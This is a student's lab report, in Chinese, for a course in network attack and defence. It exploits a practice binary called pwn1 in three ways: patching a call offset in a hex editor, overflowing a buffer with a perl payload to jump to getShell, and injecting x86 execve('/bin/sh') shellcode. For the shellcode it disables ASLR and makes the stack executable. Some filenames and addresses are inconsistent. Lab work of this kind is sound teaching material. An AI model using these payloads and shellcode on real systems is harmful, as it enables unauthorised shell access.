# 20252920卢兴宇 2025-2026-2 《网络攻防实践》第九次作业
一、实践内容概述
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
-
常用汇编指令
NOP:NOP 指令即“空指令”。执行到 NOP 指令时,CPU 什么也不做,仅仅当做一个指令执行过去并继续执行 NOP 后面的一条指令,通常用于占位、对齐代码或延时。(机器码:90)
JNE:条件转移指令,当零标志位 ZF=0 时跳转(即前一条比较或运算结果不为零或不相等)。(机器码:75)
JE:条件转移指令,当零标志位 ZF=1 时跳转(即前一条比较或运算结果为零或相等)。(机器码:74)
JMP:无条件转移指令。段内直接短转 Jmp short(机器码:EB)段内直接近转移 Jmp near(机器码:E9)段内间接转移 Jmp word(机器码:FF)段间直接(远)转移 Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。机器码因操作数类型而异。 -
反汇编
反汇编 (Disassembly) 是把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向 工程、软件汉化等领域。 -
十六进制编程器
十六进制编程器(Hex Editor)是一种直接操作二进制数据的底层编辑工具,它允许用户以十六进制形式查看和修改文件的原始字节,同时常辅以 ASCII 或 Unicode 字符预览,成为逆向工程、数据恢复、固件开发等领域的核心工具。其核心功能不仅限于基础的字节修改,更包含高级特性如正则表达式搜索、二进制差异对比、校验和计算,以及脚本化批量操作。例如在逆向分析恶意软件时,研究者可通过特征码(如 0x4D5A 对应 PE 文件头标志 “MZ”)快速定位程序入口点;在游戏修改中,玩家能直接调整内存中的数值字节(如将 0x3F800000 改为 0x40400000 以实现角色生命值翻倍);嵌入式开发者则依赖此类工具烧录固件 ,甚至修复因传输错误导致的文件头损坏。 -
shellcode
shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为16进制的机器码,因为经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。可在暂存器 eip 溢出后,塞入一段可让 CPU 执行的 shellcode 机器码,让电脑可以执行攻击者的任意指令。 -
缓冲区溢出
计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。
二、实践过程
任务:本次实践的对象是一个名为 pwn1 的 linux 可执行文件。该程序正常执行流程是:main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用 Shell 。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何 Shellcode。
实践内容:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
(2)利用 foo 函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数。
(3)注入一个自己制作的 shellcode 并运行这段 shellcode。
(1)将 kali 虚拟机名临时修改为 「学号+姓名缩写」
sudo su 切换到root权限
hostname 20252920lxy 直接修改主机名
hostname 看是切换成功

(2)将从学习通下载的 pwn1文件复制入 kali 桌面并查看并对其进行重命名:
cd Desktop # 切换到桌面目录
ls # 查看目录文件,确认pwn1存在
mv pwn1 pwn20252920lxy # 重命名文件
ls # 验证重命名结果

(3)输入命令行 objdump -d pwn20252920lxy | more ,对 pwn1 文件进行反汇编

(4)连续回车看到 getShell、foo、main 函数;可以看到 main 函数第四行调用 foo 函数对应的机器指令为 e8d7ffffff,call 的机器码为 e8。 call 调用 foo,同时在堆栈上压上返回地址值:080484ba。call 指令在编译后,以 call 所在位置为基址,然后把被 call 的位置的偏移地址汇编成字节码,此时会跳转到 foo 函数所在地址 08048491,080484ba + ffffffd7 = 08048491;

(5)现要将 call 语句的目标地址重定向为 getshell 函数,可以通过修改 foo 函数的地址为 getShell 函数地址 0804847d 实现,0804847d - 080484ba = ffffffc3,将 d7ffffff 改为 c3ffffff。使用vim编辑器打开目标程序,初始打开为二进制乱码,需通过xxd转换为十六进制格式:
vim pwn20252920lxy
:%!xxd

在十六进制模式下,查找目标机器码:/e8 d7

定位到e8 d7 ff ff ff所在的行(000004b0),将其中的d7修改为c3,确保修改后机器码为e8 c3 ff ff ff。

修改完成后,将十六进制格式还原为二进制格式::%!xxd -r,保存并退出vim编辑器::wq
修改结果验证
反汇编验证:再次执行反汇编命令,查看main函数的调用逻辑:
objdump -d pwn20252920| more

二:利用foo函数的BoF漏洞,构造攻击字符串触发getShell
本任务无需修改程序源文件,仅通过构造恶意输入字符串,利用foo函数的缓冲区溢出漏洞,覆盖栈中的返回地址,劫持程序执行流至getShell函数。
步骤1:foo函数栈结构与漏洞分析
通过反汇编结果分析foo函数的栈帧布局:

结论:
- gets函数读取的用户输入存储在
ebp-0x1c的缓冲区中,缓冲区大小为0x1c(即28字节) - 栈中从缓冲区起始地址到函数返回地址的内存布局为:28字节缓冲区 + 4字节旧EBP值 + 4字节返回地址
- 当输入字符串长度超过28字节时,会依次覆盖旧EBP值与返回地址;当输入长度达到32字节时,第33~36字节会完全覆盖栈中的返回地址
构造攻击Payload
为了让foo函数执行ret指令时跳转到getShell函数执行,需满足:
- 前28字节为任意填充数据,填满缓冲区
- 第29~32字节为任意填充数据,覆盖旧EBP值
- 第33~36字节为getShell函数的起始地址
0x0804847d,由于x86架构采用小端序存储,需写为\x7d\x84\x04\x08
生成Payload文件
使用perl语言构造包含二进制Payload的文件,解决终端无法直接输入十六进制字符的问题:
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > input_20252920
通过xxd命令验证生成的Payload文件内容:
xxd input_20252920

执行BoF攻击并验证
通过管道符将Payload文件内容作为目标程序的输入,触发缓冲区溢出攻击:
为程序添加可执行权限(若未添加)
chmod u+x ./pwn1
执行攻击,cat input文件后追加cat保持Shell交互
(cat input_20252920; cat) | ./pwn1

程序运行后,成功进入Shell交互界面,可执行ls、whoami等系统命令,说明返回地址覆盖成功,getShell函数被正常触发,任务二执行成功。
注入自定义Shellcode并执行
本任务需构造包含自定义Shellcode的攻击载荷,通过缓冲区溢出漏洞将Shellcode注入程序内存空间,并劫持程序执行流运行这段Shellcode,实现不依赖程序自带getShell函数的Shell获取。
在 Kali 虚拟机中安装execstack wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
使用sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压缩包

设置pwn20252920程序堆栈可执行,并进一步查询是否设置成功。
execstack -s pwn20252920
execstack -q pwn20252920

查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭
more /proc/sys/kernel/randomize_va_space 和 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

使用输出重定向将perl生成的字符串存储到attack_20252920文件中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_2025290

文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20252920进程号为32885
终端1:(cat 20252920;cat) | ./pwn1

查看程序进程号:打开第二个终端,执行以下命令查找pwn1的进程PID:
ps -ef | grep pwn1


安装gdb

GDB附加调试进程:在第二个终端启动gdb并附加到目标进程:
gdb
attach 14227


设置断点并查看栈地址:
反汇编foo函数,找到ret指令的地址(0x080484ae):
(gdb) disassemble foo


在ret指令处设置断点,确保程序执行到函数返回前暂停:
(gdb) break *0x080484ae
让程序继续执行到断点处(在第一个终端按下回车键后,gdb终端执行):
(gdb) c
程序断在断点处后,查看栈顶指针寄存器esp的值:
(gdb) info r esp

输出:esp 0xffffcf6c 0xffffcf6c,即返回地址存储在0xffffcf6c。
{{image.png(uploading...)}}
构造最终Payload并执行攻击
替换占位返回地址为调试得到的实际地址,重新生成最终Payload文件:
perl -e 'print "A" x 32;print "\x2c\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input
{{image.png(uploading...)}}
程序运行后成功进入交互式Shell,可正常执行系统命令,说明自定义Shellcode被成功注入并执行,任务三执行成功。
三、实践总结
本次学习了pwn方向上的三种缓冲区溢出攻击,深刻的理解了pwn的困难之处,这还是在实验环境下关掉随机地址等等的条件做的,对于网络攻防要学习的地方还有很多
